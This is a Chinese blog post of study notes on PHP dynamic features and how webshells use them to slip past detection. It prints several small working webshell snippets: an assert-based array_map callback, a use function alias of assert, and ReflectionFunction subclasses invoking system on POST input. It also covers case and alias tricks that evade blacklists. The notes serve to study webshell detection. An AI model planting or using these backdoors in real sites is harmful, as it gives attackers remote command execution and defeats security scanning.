编程语言
首页 > 编程语言> > PHP动态特性学习

PHP动态特性学习

作者:互联网

PHP动态特性学习

主要是学习这个pdf 《PHP动态特性的捕捉与逃逸》github

PHP动态特性的定义是作者所定义的,大概就是说是我们无法确定一段代码或者程序的具体功能,即存在动态性的功能变化,而所用到的几乎所有webshell都会用到动态特性

比如

$arr = [$_GET,$_POST,$_COOKIE];
array_map($callback,...$arr);

如果callback被控制,改成assert等操作,就会变成webshell

  1. PHP是一个大小写不敏感的语言,可以利用大小写绕过对函数的判断,利用函数名大小写,绕过对敏感函数的检测

  2. PHP底层存在一个PHP_FALIAS宏,作用是赋值给一个函数一个新的"别名",比如show_source函数就是highlight_file别名

    image-20210410190445381

    在PHP7后preg_replace的e模式删除了,但是mbereg_replace的e模式还存在

  3. PHP5.6之后支持函数别名,使用use function a as b来导入a,即下面的b代表a,因此可能会出现下面的木马

    use function \assert as test;
    
    test($_POST[2333]);
    

    或者利用类的继承操作来绕过黑名单

    class test extends ReflectionFunction{}
    $f = new test('system');
    $f->invoke($_POST[2333]);
    

    php7的匿名类

    $f = new class('system') extends ReflectionFunction{}
    $f->invoke($_POST[2333]);
    

标签:动态,函数,特性,2333,大小写,test,POST,PHP
来源: https://www.cnblogs.com/buchiyexiao/p/14641913.html